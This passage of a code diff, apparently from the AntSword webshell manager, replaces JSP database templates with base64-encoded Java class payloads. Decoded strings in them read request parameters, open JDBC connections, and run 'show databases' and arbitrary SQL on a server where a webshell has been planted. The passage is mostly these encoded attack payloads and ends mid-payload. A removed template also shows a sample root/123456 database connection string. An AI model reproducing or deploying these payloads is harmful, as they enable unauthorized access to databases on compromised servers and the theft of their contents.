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',
-    'var0': '#{encode}',
-    'var1': '#{conn}',
-    'var2': '#{db}',
-    'var3': '#{table}'
-  },
-  query: {
-    _: 'yv66vgAAADIA/AoATABwBwBxCgACAHIKAAIAcwgATQsAdAB1CAB2CQBLAHcIAHgIAHkJAEsAegcAewoADAB8CAB9CwB+AH8LAHQAgAsAfgCABwCBCgASAHAIAIIKABIAgwoAEgCECgBLAIUKAEsAhggAhwgAiAgAiQoADACKCgBLAIsKAAwAhAgAjAoAAgCNCgCOAI8HAJAIAJEKACIAhAgAkgoAJwCTBwCUCgAnAJUKACcAlggAlwgAmAoAJwCZBwCaCgAnAJsKAC0AnAoAJwCdCgAnAJ4KABIAnwgAoAoALQChCgAtAKIIAKMHAKQKADcAcAoANwClCgAnAKYIAKcIAKgKACcAqQoAJwCqCgCrAKwIAK0KAK4ArwsAsACxCwCyALMLALQAtQsAtgC3CwC2ALgLALQAuQsAtAC6CAC7CgBLALwHAGwHAL0BAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAbAcAvQcAcQcAvgcAvwcAbAcAlAcAewcAkAEAAkVDAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwCaAQAKZXhlY3V0ZVNRTAEAbyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztaKUxqYXZhL2xhbmcvU3RyaW5nOwcAwAcAwQcAwgcAwwcAxAEABXF1ZXJ5AQBKKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApTb3VyY2VGaWxlAQAKcXVlcnkuamF2YQwAUABRAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMAMUAxgwAxwDIBwC+DADJAGEBAAAMAE0ATgEAB2NoYXJzZXQBAAVVVEYtOAwATwBOAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwAUADKAQAJdGV4dC9odG1sBwC/DADLAMoMAMwAygEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAEdmFyMAwAzQDODADPANAMAGMAYQwAYABhAQAEdmFyMQEABHZhcjIBAAMtPnwMAM0A0QwAbABtAQADfDwtDADSANMHANQMANUAygEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAlFUlJPUjovLyABAANoZXgMAFQAVQEAEGphdmEvbGFuZy9TdHJpbmcMANYA1wwAUADYAQAEbnVsbAEAEDAxMjM0NTY3ODlBQkNERUYMANkA0AEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDADaANsMAFAA3AwA3QDeDADfAOAMAM0A4QEAASwMAOIA3AwAzwBhAQAGYmFzZTY0AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwA4wDkDADlANABAAINCgEAAQoMAOYA5wwA6ADpBwDqDADrAOwBABMmY2hhcmFjdGVyRW5jb2Rpbmc9BwDtDADuAO8HAMEMAPAA8QcAwgwA8gDzBwDDDAD0APUHAMQMAPYA2wwA9wD4DAD5APoMAPsA+AEAAwl8CQwAZQBmAQAQamF2YS9sYW5nL09iamVjdAEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEAE1tMamF2YS9sYW5nL1N0cmluZzsBABNqYXZhL3NxbC9Db25uZWN0aW9uAQASamF2YS9zcWwvU3RhdGVtZW50AQASamF2YS9zcWwvUmVzdWx0U2V0AQAaamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGEBAApnZXRSZXF1ZXN0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAtnZXRSZXNwb25zZQEAISgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEADGdldFBhcmFtZXRlcgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEADnNldENvbnRlbnRUeXBlAQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsBAAZnZXRPdXQBAB8oKUxqYXZheC9zZXJ2bGV0L2pzcC9Kc3BXcml0ZXI7AQAbamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyAQAFcHJpbnQBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEAC3RvVXBwZXJDYXNlAQAGbGVuZ3RoAQADKClJAQAEKEkpVgEABmNoYXJBdAEABChJKUMBAAdpbmRleE9mAQAEKEkpSQEAHChJKUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAV3cml0ZQEADGRlY29kZUJ1ZmZlcgEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAR0cmltAQAHcmVwbGFjZQEARChMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTtMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspTGphdmEvbGFuZy9TdHJpbmc7AQAFc3BsaXQBACcoTGphdmEvbGFuZy9TdHJpbmc7KVtMamF2YS9sYW5nL1N0cmluZzsBAA9qYXZhL2xhbmcvQ2xhc3MBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAFmphdmEvc3FsL0RyaXZlck1hbmFnZXIBAA1nZXRDb25uZWN0aW9uAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zcWwvQ29ubmVjdGlvbjsBAA9jcmVhdGVTdGF0ZW1lbnQBABYoKUxqYXZhL3NxbC9TdGF0ZW1lbnQ7AQAMZXhlY3V0ZVF1ZXJ5AQAoKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zcWwvUmVzdWx0U2V0OwEAC2dldE1ldGFEYXRhAQAeKClMamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGE7AQAOZ2V0Q29sdW1uQ291bnQBAA1nZXRDb2x1bW5OYW1lAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQAEbmV4dAEAAygpWgEACWdldFN0cmluZwAhAEsATAAA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',
-    'var0': '#{encode}',
-    'var1': '#{conn}',
-    'var2': '#{sql}'
-  }
-})
\ No newline at end of file

source/core/jsp/template/database/mysql.js

-/*
-<T>XDB</T>
-<X>
-com.mysql.jdbc.Driver
-jdbc:mysql://localhost/test?user=root&password=123456
-</X>
-*/
+//
+// 默认代码模板
+//
+// @params
+// :encode  SHELL编码
+// :conn    数据库连接字符串
+// :sql     执行SQL语句
+// :db      数据库名
+// :table   表名
 
-module.exports = require('./default');
+module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
\ No newline at end of file
+  show_databases: {
+    _: 'yv66vgAAADMBLwoAQgB9BwB+CgACAH8KAAIAgAgAgQkAXACCCACDCQBcAIQIAIUJAFwAhgcAhwgAiAoACwCJCACKCACLCACMCACNCACOCwCPAJALAJEAkgsAjwCSBwCTCgAWAH0LAJEAlAoAFgCVCgAWAJYKAFwAlwoAXACYCgALAJkKAFwAmgoACwCWCgACAJsKAJwAnQcAnggAnwoAIgCWCACgCgAnAKEHAKIKACcAowoAJwCkCgClAKYKACcApwgAqAgAqQoAJwCqBwCrCgAnAKwKAC8ArQoAJwCuCgAnAK8KABYAsAgAsQoALwCyCACzCgAvALQIALUKALYAtwgAuAoAJwC5CAC6CgBAALsIALwHAL0KAEAAvgcAvwoAwADBCgBCAMIIAHIHAMMIAMQKAEAAxQoAxgDHCADICgAnAMkIAMoIAMsKACcAzAoAJwDNCADOCgDPANALANEA0gsA0wDUCwDVANYLANcA2AsA1wDZCwDVANoLANUA2wgA3AgA3QoAXADeBwDfAQAHZW5jb2RlcgEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAmNzAQAMcmFuZG9tUHJlZml4AQAGPGluaXQ+AQADKClWAQAEQ29kZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAN8HAL8HAH4HAOAHAOEHAIcHAKIHAJ4BAAJFQwEASihMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEABmRlY29kZQcAqwEACmV4ZWN1dGVTUUwBAG8oTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7WilMamF2YS9sYW5nL1N0cmluZzsHAOIHAOMHAOQHAOUHAOYBAA1zaG93RGF0YWJhc2VzAQA4KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsMAGEAYgEAHWphdmF4L3NlcnZsZXQvanNwL1BhZ2VDb250ZXh0DADnAOgMAOkA6gEAFGFudHN3b3JkcmFuZG9tUHJlZml4DABgAF4BAAZiYXNlNjQMAF0AXgEAD2FudHN3b3JkQ2hhcnNldAwAXwBeAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgEAAAwAYQDrAQADLT58AQADfDwtAQARYW50c3dvcmRhcmdlbmNvZGUBAA9hbnRzd29yZGFyZ2Nvbm4BAAl0ZXh0L2h0bWwHAOEMAOwA6wcA4AwA7QDrAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAO4A7wwA8ADxDADyAPMMAHIAcAwAbwBwDADwAPQMAHsAfAwA9QD2BwD3DAD4AOsBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAJRVJST1I6Ly8gAQADaGV4DABkAGUBABBqYXZhL2xhbmcvU3RyaW5nDAD5APoMAGEA+wcA/AwA/QD+DAD/AQABAARudWxsAQAQMDEyMzQ1Njc4OUFCQ0RFRgwBAQDzAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAQIBAwwAYQEEDAEFAQYMAQcBCAwA8AEJAQABLAwBCgEEAQAFVVRGLTgMAPIA7wEADGphdmEudmVyc2lvbgcBCwwBDADvAQADMS45DAENAP4BABBqYXZhLnV0aWwuQmFzZTY0DAEOAQ8BAApnZXREZWNvZGVyAQAPamF2YS9sYW5nL0NsYXNzDAEQAREBABBqYXZhL2xhbmcvT2JqZWN0BwESDAETARQMARUBFgEAAltCAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgwBFwEYBwEZDAEaARsBAAxkZWNvZGVCdWZmZXIMARwA8wEAAg0KAQABCgwBHQEeDAEfASABABMmY2hhcmFjdGVyRW5jb2Rpbmc9BwEhDAEiASMHAOMMASQBJQcA5AwBJgEnBwDlDAEoASkHAOYMASoBAwwBKwEADAEsAS0MAS4BAAEADnNob3cgZGF0YWJhc2VzAQABCQwAdAB1AQAOU2hvd19kYXRhYmFzZXMBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABNbTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9zcWwvQ29ubmVjdGlvbgEAEmphdmEvc3FsL1N0YXRlbWVudAEAEmphdmEvc3FsL1Jlc3VsdFNldAEAGmphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhAQAKZ2V0UmVxdWVzdAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACEoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsBAAZnZXRPdXQBAB8oKUxqYXZheC9zZXJ2bGV0L2pzcC9Kc3BXcml0ZXI7AQAbamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyAQAFcHJpbnQBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9JbnRlZ2VyAQAIcGFyc2VJbnQBABUoTGphdmEvbGFuZy9TdHJpbmc7KUkBAAlzdWJzdHJpbmcBABUoSSlMamF2YS9sYW5nL1N0cmluZzsBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAljb21wYXJlVG8BAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABZnZXREZWNsYXJlZENvbnN0cnVjdG9yAQAzKFtMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7AQAdamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3IBAAtuZXdJbnN0YW5jZQEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEABHRyaW0BAAdyZXBsYWNlAQBEKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlO0xqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylMamF2YS9sYW5nL1N0cmluZzsBAAVzcGxpdAEAJyhMamF2YS9sYW5nL1N0cmluZzspW0xqYXZhL2xhbmcvU3RyaW5nOwEAFmphdmEvc3FsL0RyaXZlck1hbmFnZXIBAA1nZXRDb25uZWN0aW9uAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zcWwvQ29ubmVjdGlvbjsBAA9jcmVhdGVTdGF0ZW1lbnQBABYoKUxqYXZhL3NxbC9TdGF0ZW1lbnQ7AQAMZXhlY3V0ZVF1ZXJ5AQAoKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zcWwvUmVzdWx0U2V0OwEAC2dldE1ldGFEYXRhAQAeKClMamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGE7AQAOZ2V0Q29sdW1uQ291bnQBAA1nZXRDb2x1bW5OYW1lAQAEbmV4dAEAAygpWgEACWdldFN0cmluZwAhAFwAQgAAAAMAAQBdAF4AAAABAF8AXgAAAAEAYABeAAAABgABAGEAYgABAGMAAAARAAEAAQAAAAUqtwABsQAAAAAAAQBkAGUAAQBjAAABbwAFAA0AAAEnK8AAAk0stgADTiy2AAQ6BCoSBbUABioSB7UACCoSCbUACrsAC1kSDLcADToFuwALWRIMtwANOgYSDjoHEg86CBIQOgkSEToKGQQSErkAEwIALSq0AAq5ABQCABkEKrQACrkAFQIAKiq7ABZZtwAXLRkJuQAYAgC2ABkSDLYAGbYAGiq0AAgqtAAKtgAbKrQACCq0AAq2ABw6CyoquwAWWbcAFy0ZCrkAGAIAtgAZEgy2ABm2ABoqtAAIKrQACrYAGyq0AAgqtAAKtgAcOgwZBRkHtgAdVxkGKhkLGQy2AB62AB1XGQUZBrYAH7YAHVcZBRkItgAdVyy2ACAZBbYAH7YAIacAIjoLGQa7ABZZtwAXEiO2ABkZC7YAJLYAGbYAGrYAHVcErAABAEgBAwEGACIAAQBmAAAALgAC/wEGAAsHAGcHAGgHAGkHAGoHAGsHAGwHAGwHAG0HAG0HAG0HAG0AAQcAbh4AAABvAHAAAgBjAAAANAAEAAQAAAAeLBIltgAmmgAJLBIlpgAFK7C7ACdZK7YAKC23ACmwAAAAAQBmAAAABAACDwEAcQAAAAQAAQAiAAAAcgBwAAIAYwAAAe0ABgAJAAABggM2BCq0AAa4ACo2BCsVBLYAK0ynAAg6BQM2BCwSJbYAJpoACSwSJaYAnysSLKUADCsSLLYAJpkABhIMsBItOgUrtgAuTLsAL1krtgAwBWy3ADE6BhIMOgcDNggVCCu2ADCiAF27ABZZtwAXGQe2ABkZBSsVCLYAMrYAMwd4GQUrFQgEYLYAMrYAM4C2ADQSNbYAGbYAGjoHGQYZBSsVCLYAMrYAMwd4GQUrFQgEYLYAMrYAM4C2ADaECAKn/6AZBhI3tgA4sCwSB7YAJpoACSwSB6YArgE6BRI5uAA6OgYZBhI7tgA8mwBMEj24AD46BxkHEj8DvQBAtgBBGQcDvQBCtgBDOggZCLYARBJFBL0AQFkDEwAnU7YAQRkIBL0AQlkDK1O2AEPAAEbAAEY6BacARRJHuAA+OgcZBwO9AEC2AEgDvQBCtgBJOggZCLYARBJKBL0AQFkDEwAnU7YAQRkIBL0AQlkDK1O2AEPAAEbAAEY6BbsAJ1kZBRI3twApsCuwAAEAAwATABYAIgABAGYAAABRAAz/ABYABQcAZwcAbQcAbQcAbQEAAQcAbgQODgL/AB4ACQcAZwcAbQcAbQcAbQEHAG0HAHMHAG0BAAD6AGL4AAcO/QBcBwBGBwBt+wBB+QALAHEAAAAEAAEAIgAAAHQAdQACAGMAAAFnAAMAEAAAARcSDDoHLLYASxJMEk22AE4STbYATzoIGQgDMrYAS7gAPle7ABZZtwAXGQgEMrYAGRJQtgAZK7YAGbYAGjoJGQm4AFE6ChkKuQBSAQA6CxkLLbkAUwIAOgwZDLkAVAEAOg0VBpkAVAQ2DhUOGQ25AFUBAKMALxkNFQ65AFYCADoPuwAWWbcAFxkHtgAZGQ+2ABkZBLYAGbYAGjoHhA4Bp//LuwAWWbcAFxkHtgAZGQW2ABm2ABo6BxkMuQBXAQCZAFcENg4VDhkNuQBVAQCjAC8ZDBUOuQBYAgA6D7sAFlm3ABcZB7YAGRkPtgAZGQS2ABm2ABo6B4QOAaf/y7sAFlm3ABcZB7YAGRkFtgAZtgAaOgen/6UZB7AAAAABAGYAAAA+AAb/AGgADwcAZwcAbQcAbQcAbQcAbQcAbQEHAG0HAHYHAG0HAHcHAHgHAHkHAHoBAAD6ADcV/AAMAfoANxgAcQAAAAQAAQAiAAAAewB8AAIAYwAAACQABwAGAAAAGBJZThJaOgQSDDoFKissLRkEGQUDtgBbsAAAAAAAcQAAAAQAAQAiAAA=',
+    [arg1]: '#{newbase64::encode}',
+    [arg2]: '#{newbase64::conn}'
+  },
+  show_tables: {
+    _: 'yv66vgAAADMBMAoAQwB9BwB+CgACAH8KAAIAgAgAgQkAXQCCCACDCQBdAIQIAIUJAF0AhgcAhwgAiAoACwCJCACKCACLCACMCACNCACOCACPCwCQAJELAJIAkwsAkACTBwCUCgAXAH0LAJIAlQoAFwCWCgAXAJcKAF0AmAoAXQCZCgALAJoKAF0AmwoACwCXCgACAJwKAJ0AngcAnwgAoAoAIwCXCAChCgAoAKIHAKMKACgApAoAKAClCgCmAKcKACgAqAgAqQgAqgoAKACrBwCsCgAoAK0KADAArgoAKACvCgAoALAKABcAsQgAsgoAMACzCAC0CgAwALUIALYKALcAuAgAuQoAKAC6CAC7CgBBALwIAL0HAL4KAEEAvwcAwAoAwQDCCgBDAMMIAHMHAMQIAMUKAEEAxgoAxwDICADJCgAoAMoIAMsIAMwKACgAzQoAKADOCADPCgDQANELANIA0wsA1ADVCwDWANcLANgA2QsA2ADaCwDWANsLANYA3AgA3QgA3goAXQDfBwDgAQAHZW5jb2RlcgEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAmNzAQAMcmFuZG9tUHJlZml4AQAGPGluaXQ+AQADKClWAQAEQ29kZQEABmVxdWF